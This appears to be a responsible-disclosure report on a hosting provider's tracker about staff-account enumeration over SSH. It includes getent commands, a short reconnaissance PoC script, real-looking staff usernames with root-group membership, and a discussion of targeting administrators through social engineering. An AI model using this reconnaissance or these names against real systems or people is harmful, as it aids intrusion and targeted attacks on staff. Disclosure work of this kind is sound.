Security vulnerabilities

Attached to Project: Security vulnerabilities
Opened by Bores - 30.07.2026
Last edited by cbay - 04.08.2026

An authenticated user with SSH access can enumerate all internal alwaysdata staff accounts, their root-group (GID=0) privilege assignments, and the internal role hierarchy via the NSS database. This is distinct from customer account names.

Vulnerable asset:
ssh://ssh-[account].alwaysdata.net
Files: /alwaysdata/etc/passwd (mode 644), /alwaysdata/etc/group (mode 644)

Root cause:
The custom NSS module (configured as "passwd: compat db alwaysdata" in /etc/nsswitch.conf) serves staff account entries to any authenticated user. The files /alwaysdata/etc/passwd and /alwaysdata/etc/group are world-readable.

Steps to reproduce:

1. Create a free hosting account on alwaysdata.com
2. SSH in:

  ssh [account]@ssh-[account].alwaysdata.net

3. Enumerate staff accounts:

  $ getent passwd | grep "/alwaysdata/home/"
  nferrari:x:501:0:nferrari:/alwaysdata/home/nferrari:/bin/bash
  cbay:x:502:0:cbay:/alwaysdata/home/cbay:/bin/bash
  xlefloch:x:503:0:xlefloch:/alwaysdata/home/xlefloch:/bin/bash
  hdegorce:x:506:0:hdegorce:/alwaysdata/home/hdegorce:/bin/bash
  ngeoffroy:x:508:0:ngeoffroy:/alwaysdata/home/ngeoffroy:/bin/bash
  fnonnenmacher:x:512:0:fnonnenmacher:/alwaysdata/home/fnonnenmacher:/bin/bash
  flesueur:x:513:0:flesueur:/alwaysdata/home/flesueur:/bin/bash

All 7 accounts have GID=0 (fourth field = root group).

4. Enumerate internal role hierarchy:

  $ getent group | grep "alwaysdata_"
  alwaysdata_team:x:500:cbay,hdegorce,ngeoffroy,nferrari,xlefloch,fnonnenmacher,flesueur
  alwaysdata_admins:x:501:nferrari,cbay,xlefloch,ngeoffroy,flesueur
  alwaysdata_support:x:502:hdegorce

5. Confirm files are world-readable:

  $ ls -l /alwaysdata/etc/passwd /alwaysdata/etc/group
  -rw-r--r-- 1 root root 440 Dec  9  2024 /alwaysdata/etc/passwd
  -rw-r--r-- 1 root root 187 May 21  2025 /alwaysdata/etc/group

6. Verify staff accounts are NOT public subdomains:

  $ host cbay.alwaysdata.net
  Host cbay.alwaysdata.net not found: 3(NXDOMAIN)
  $ host hdegorce.alwaysdata.net
  Host hdegorce.alwaysdata.net not found: 3(NXDOMAIN)

PoC script (run via SSH on any alwaysdata account):

  #!/bin/bash
  echo "[*] Staff accounts (GID=0):"
  getent passwd | grep "/alwaysdata/home/"
  echo ""
  echo "[*] Internal groups:"
  getent group | grep "alwaysdata_"
  echo ""
  echo "[*] Config file permissions:"
  ls -l /alwaysdata/etc/passwd /alwaysdata/etc/group
  echo ""
  echo "[*] NSS config:"
  grep "^passwd:" /etc/nsswitch.conf
  echo ""
  echo "[*] Subdomain check:"
  for u in cbay hdegorce fnonnenmacher; do host ${u}.alwaysdata.net | head -1; done

Scope clarification:
This is NOT "account names accessible in many ways." Staff accounts differ from customers:
- Separate namespace: /alwaysdata/home/ (not /home/)
- All have GID=0 (root group), customers do not
- Do not resolve as .alwaysdata.net subdomains (NXDOMAIN)
- Not listed on any public alwaysdata page
The sensitive data is the privilege level and organizational hierarchy, not names alone.

Impact:
- Identity correlation: username pattern (first-initial + lastname) enables targeted social engineering against specific administrators
- Privilege mapping: GID=0 confirms root-group access, identifying highest-value credential targets
- Authorization model disclosure: three-tier structure (5 admins, 1 support, 7 team) reveals internal access model

Qualifying category: "Exposure of Sensitive members information"

Suggested fix:
1. Filter staff entries from NSS responses for non-privileged users
2. Set /alwaysdata/etc/passwd and /alwaysdata/etc/group to mode 640 root:alwaysdata_team
3. Consider a separate NSS source for staff, not queried in customer sessions